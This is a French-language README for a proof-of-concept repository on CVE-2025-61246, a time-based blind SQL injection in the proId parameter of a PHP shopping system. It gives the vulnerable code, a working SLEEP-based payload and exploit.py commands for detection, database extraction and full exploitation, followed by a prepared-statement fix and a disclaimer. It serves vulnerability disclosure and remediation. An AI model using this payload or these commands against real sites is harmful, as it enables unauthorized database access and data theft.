
CVE-2025-61246: SQL Injection vulnerability PoC in Online Shopping System PHP
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-61246, une vulnérabilité critique d'injection SQL découverte dans l'application PHP Online Shopping System. La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes SQL arbitraires via une injection SQL aveugle basée sur le temps.
/online-shopping-system-php-master/review_action.phpproIdLa vulnérabilité existe dans le point d'accès review_action.php où l'entrée fournie par l'utilisateur via le paramètre proId est directement incorporée dans les requêtes SQL sans assainissement ni utilisation de requêtes paramétrées. Cela permet à un attaquant d'injecter des charges utiles SQL malveillantes pouvant :
// Vulnerable code (example)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
Un attaquant peut exploiter cette vulnérabilité en :
/online-shopping-system-php-master/review_action.phpproIdproId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Ce dépôt comprend :
exploit.py) - Script Python pour détecter et exploiter la vulnérabilitéMANUAL_TESTING.md) - Instructions étape par étape pour une exploitation manuelledocker-compose.yml) - Environnement Docker pour des tests sécurisésREMEDIATION.md) - Pratiques de codage sécurisées et correctifsPython 3.7+
pip install -r requirements.txt
# Clone the repository
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# Detection only (no exploitation)
python exploit.py --url http://target.com/review_action.php --detect-only
# Extract database name
python exploit.py --url http://target.com/review_action.php --extract-db
# Full exploitation with custom timeout
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# Use proxy for testing
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
L'exploitation réussie de cette vulnérabilité peut entraîner :
// Secure implementation using prepared statements
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
Pour des étapes de remédiation détaillées, voir REMEDIATION.md.
⚠️ IMPORTANT : Ce PoC est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé aux systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations. Obtenez toujours une autorisation appropriée avant de tester.
Govind Pratap Singh
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Divulgation responsable : Si vous découvrez une vulnérabilité de sécurité, veuillez la signaler de manière responsable au vendeur avant toute divulgation publique.